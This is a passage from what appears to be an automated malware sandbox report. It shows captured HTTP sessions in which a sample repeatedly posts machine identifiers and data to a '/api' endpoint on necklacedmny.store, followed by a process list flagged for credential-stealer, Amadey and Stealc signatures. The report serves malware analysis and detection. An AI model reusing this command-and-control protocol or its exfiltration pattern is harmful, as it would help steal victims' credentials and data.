2024-10-30 03:35:49 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vvutfobe7p4jvcued1ppal1blr; expires=Sat, 22 Feb 2025 21:22:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NBuueLd9GqorSOIZdfbF62ejKdr3Gonl%2FpR%2Bv7BhXre21Q%2FwF6sK5Onu4uOeHON%2FoUof%2FRqIBle%2FH8HXooDvSIriP1oLX55RaRnBtH1CZLRO8w%2BOGOz0%2FLTaVWpat21g49XiAyo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85b850a45a912-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&sent=11&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=1869593&cwnd=159&unsent_bytes=0&cid=566ceb12014f15b7&ts=466&x=0"
2024-10-30 03:35:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:35:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50008	188.114.97.3	443	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:35:52 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-10-30 03:35:52 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:35:53 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hbud3q7n67vn96imeki504uht4; expires=Sat, 22 Feb 2025 21:22:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JBwojcmwDfUkkQ8%2FC2eMDz4PH%2FT04%2Fi06IS%2FM9hiwdx32lX7LAc%2FhW0bWzudfaaKiQOQGw3luToVXbvSGuuX6RR0QbNkSFOnOrRi3tfpNnLDVEeUTwmOLtgOBLEu%2FbD%2Bc6ftXa4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85b99c9da6bc5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1088&sent=16&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16023&delivery_rate=2576512&cwnd=251&unsent_bytes=0&cid=3c66858974121b43&ts=1070&x=0"
2024-10-30 03:35:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:35:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50014	188.114.97.3	443	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:35:55 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-10-30 03:35:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:35:55 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-30 03:35:56 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9uilu9upgi5dvjerfqbclau8un; expires=Sat, 22 Feb 2025 21:22:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jiYD1sU6vioQHOVKpeNPN3krbFgCbzZijbIo4wA1VCvxQVNJJtTXVAQXsY0PwA9TlZTDwHkJHj%2F1xnTmFfsqDQHF7ErcvjZkJ6k40XNZgxlPpGJE5dr0sd7zDeKIz6dIl1bP9nk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85babbd3e6b38-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1053&sent=10&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=2627949&cwnd=251&unsent_bytes=0&cid=f951344cc903c448&ts=807&x=0"
2024-10-30 03:35:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:35:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50024	188.114.97.3	443	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:35:57 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1250 Host: necklacedmny.store
2024-10-30 03:35:57 UTC	1250	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:35:58 UTC	1022	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hsg0k7hb2dhmo1vq3deavo1cva; expires=Sat, 22 Feb 2025 21:22:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lTTaw%2BGJxk%2ByKRCjJWVAhaZDSJ6OKPCVzXKl1w0XyuiOR%2F1if5ZWywRdnbsfSgMPeIKJVTiB%2BDfQo6eYo5nCUH8paBMdtH92CN7BcnI%2BYyPnvGTX13s%2F%2FfPSfZJwCzxuJiX7kro%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85bbaaa7fe776-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2168&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2169&delivery_rate=1250971&cwnd=249&unsent_bytes=0&cid=bb238814372e4c27&ts=493&x=0"
2024-10-30 03:35:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:35:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50032	188.114.97.3	443	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:36:00 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19670 Host: necklacedmny.store
2024-10-30 03:36:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:36:00 UTC	4339	OUT	Data Raw: b4 e1 9b 3b f9 2f ca e4 dc f2 ea 55 f6 ca 19 8f 53 2d 16 64 97 d2 e0 57 48 cc 82 f1 51 2c c1 de 8f 9e 7d 08 a0 3d ab 5b ec 0f 9c 4d 50 1b 7d 81 e9 da 54 6e a0 a6 3b b1 a6 1b 6d 54 d5 41 97 06 3e 3e 63 e8 ea 3e c9 ae cc 00 6d c9 29 23 6c 9f fa 47 9e 41 34 bf 71 12 1a 3e a7 1b 64 42 92 28 7e 34 8e e3 8d dd 2e c3 a0 67 d9 c2 79 75 59 73 a7 44 22 c2 bf 38 24 8e c4 63 b7 20 8f 56 7c 96 05 01 7f 84 32 e1 fe 9b f0 9a b3 c7 0f 74 fa 01 72 49 0d 40 54 9f 18 52 24 cf 7a e1 fb 68 e2 0d fb 40 94 b1 82 0f 42 08 65 57 f4 c1 e9 0e db a3 e6 e0 29 3c 36 ff fa 77 4b 12 bc ac 04 5f 38 69 8b df c7 d4 1f af 47 d9 82 5f e9 11 9d a6 2a ef 37 7e a5 6f ce 17 3e bb 53 53 72 8f e1 8e 33 a3 91 04 8a d6 8b 40 4e 53 ea 1f 45 3c fb df 84 3e ca ee c3 4d 3d 68 af 1c 7b 53 b7 16 24 4b 9f Data Ascii: ;/US-dWHQ,}=[MP}Tn;mTA>>c>m)#lGA4q>dB(~4.gyuYsD"8$c V\|2trI@TR$zh@BeW)<6wK_8iG_*7~o>SSr3@NSE<>M=h{S$K
2024-10-30 03:36:00 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1eqdaupvlh541i4rbu6rc16r5j; expires=Sat, 22 Feb 2025 21:22:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xvOFBPsuq94tI48yWP4Zr5BWdYp8Ssl%2FgUjFSdn5DIGCRNiO46jQi%2F%2BQwK0Mr58fzVA8eHvCGVDB5WLrHuoEnAW6HW2pU0FcDnJn4j%2BCaIusyFM5pxkqbhsNLPd7vmcGyD90Wbo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85bc9b9a646cb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1095&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=20634&delivery_rate=2565101&cwnd=251&unsent_bytes=0&cid=9daeea12f0119079&ts=620&x=0"
2024-10-30 03:36:00 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:36:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50034	188.114.97.3	443	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:36:01 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 03:36:01 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=9A1027BD0E6E66CB339406CA659DCE85
2024-10-30 03:36:02 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d5mlltvlj2a09c8sr4fe5vn9ai; expires=Sat, 22 Feb 2025 21:22:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Mpv5i3NcyFP56bX0qVw7c3FJIZo40JsSaQU3LE8warowWKhbAffwLj%2FVHFBloZBcFMChpxXCVnwnKU%2FN9KMUP6CMqv%2FSzfIBrBT9F4eeK9epHvkI1UPLxa3aN3S7nut4Ou4g7o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85bd46e793461-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1085&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2581105&cwnd=237&unsent_bytes=0&cid=9ee5ac4bf0012542&ts=508&x=0"
2024-10-30 03:36:02 UTC	214	IN	Data Raw: 64 30 0d 0a 5a 35 34 35 51 6b 45 73 4e 42 64 64 59 67 2b 48 59 45 46 76 35 38 30 42 6a 7a 6e 73 41 74 34 66 71 77 65 63 6c 4c 4b 71 36 50 59 38 35 52 73 33 59 78 59 57 66 79 6b 57 66 37 30 38 62 6a 50 49 2f 44 6d 36 46 39 34 7a 36 7a 47 61 4e 71 2b 36 67 35 79 30 32 51 6a 34 58 78 35 75 53 46 46 78 63 77 64 33 34 6b 4a 74 54 59 47 35 49 37 55 4a 77 43 43 37 50 5a 45 33 34 62 6a 4a 69 4a 33 55 58 62 78 52 4e 6a 56 63 44 6b 74 79 50 69 43 32 57 48 52 42 31 66 77 30 6f 51 6a 64 4d 66 41 75 6e 56 75 7a 2b 64 76 45 6a 61 70 49 37 46 67 73 4a 55 4e 5a 4f 54 67 61 61 71 56 4d 59 77 6d 54 37 7a 75 2f 46 63 35 6e 2f 43 57 62 65 73 45 3d 0d 0a Data Ascii: d0Z545QkEsNBddYg+HYEFv580BjznsAt4fqweclLKq6PY85Rs3YxYWfykWf708bjPI/Dm6F94z6zGaNq+6g5y02Qj4Xx5uSFFxcwd34kJtTYG5I7UJwCC7PZE34bjJiJ3UXbxRNjVcDktyPiC2WHRB1fw0oQjdMfAunVuz+dvEjapI7FgsJUNZOTgaaqVMYwmT7zu/Fc5n/CWbesE=
2024-10-30 03:36:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	23:34:13
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5f0000
File size:	3'014'144 bytes
MD5 hash:	BA4ACD66F5A624204D7E4935BCC7607B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1415508337.00000000011F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:05:25
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe"
Imagebase:	0xef0000
File size:	2'899'456 bytes
MD5 hash:	2C2EF4A8598A91D781960D9AE7D8CA86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:05:27
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe"
Imagebase:	0x440000
File size:	1'873'408 bytes
MD5 hash:	E6DB0D8CCF91F1C7338EE950B14B8183
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.1578066168.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.1620025526.0000000000441000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:05:31
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x860000
File size:	1'873'408 bytes
MD5 hash:	E6DB0D8CCF91F1C7338EE950B14B8183
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1666148414.0000000000861000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1625812886.0000000005020000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:05:32
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x860000
File size:	1'873'408 bytes
MD5 hash:	E6DB0D8CCF91F1C7338EE950B14B8183
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.1681605342.0000000000861000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1638565061.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:06:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x860000
File size:	1'873'408 bytes
MD5 hash:	E6DB0D8CCF91F1C7338EE950B14B8183
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.1910276571.0000000005040000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	01:06:16
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe"
Imagebase:	0xfd0000
File size:	3'014'144 bytes
MD5 hash:	BA4ACD66F5A624204D7E4935BCC7607B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:06:26
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe"
Imagebase:	0x910000
File size:	2'153'984 bytes
MD5 hash:	B0F2E98C3FEA556C75A29C5325160F58
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.2160499732.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2202933789.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:06:31
